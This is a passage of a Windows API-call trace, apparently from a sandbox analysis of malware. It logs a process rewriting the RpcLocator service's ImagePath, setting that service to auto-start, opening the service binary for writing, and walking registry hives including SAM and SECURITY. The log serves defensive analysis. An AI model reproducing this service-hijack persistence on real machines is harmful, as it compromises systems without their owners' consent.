(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0241.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0241.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0241.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0241.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0241.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0241.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0241.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0241.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0241.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0241.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0241.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0241.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0241.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0241.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0241.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0241.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0241.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0241.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.888] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0241.888] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\locator.exe" [0241.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0241.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0241.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0241.888] LocalFree (hMem=0x7e4b18) returned 0x0 [0241.888] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0241.888] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x2) returned 0x803990 [0241.889] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0241.890] CloseServiceHandle (hSCObject=0x803990) returned 1 [0241.890] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0241.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0241.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0241.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0241.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0241.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.891] RegCloseKey (hKey=0x150) returned 0x0 [0241.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0241.891] RegCloseKey (hKey=0xc4) returned 0x0 [0241.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0241.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0241.891] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0241.891] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.891] GetLastError () returned 0x20 [0241.891] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0241.892] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0241.892] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0241.892] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x20) returned 0x8038a0 [0241.892] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0241.893] GetLastError () returned 0x425 [0241.893] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0241.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0241.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0241.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0241.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0241.893] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0241.893] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0241.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0241.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.893] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0241.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0241.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0241.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0241.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0241.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0241.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0241.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0241.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.895] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0241.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0241.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.895] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0241.895] RegCloseKey (hKey=0x80000002) returned 0x0 [0241.895] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0241.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0241.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.895] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0241.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0241.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.896] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0241.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0241.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.896] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0241.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0241.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.896] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0241.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0241.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.896] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0241.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0241.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.897] RtlFreeHeap (HeapHandle=0x2520000, 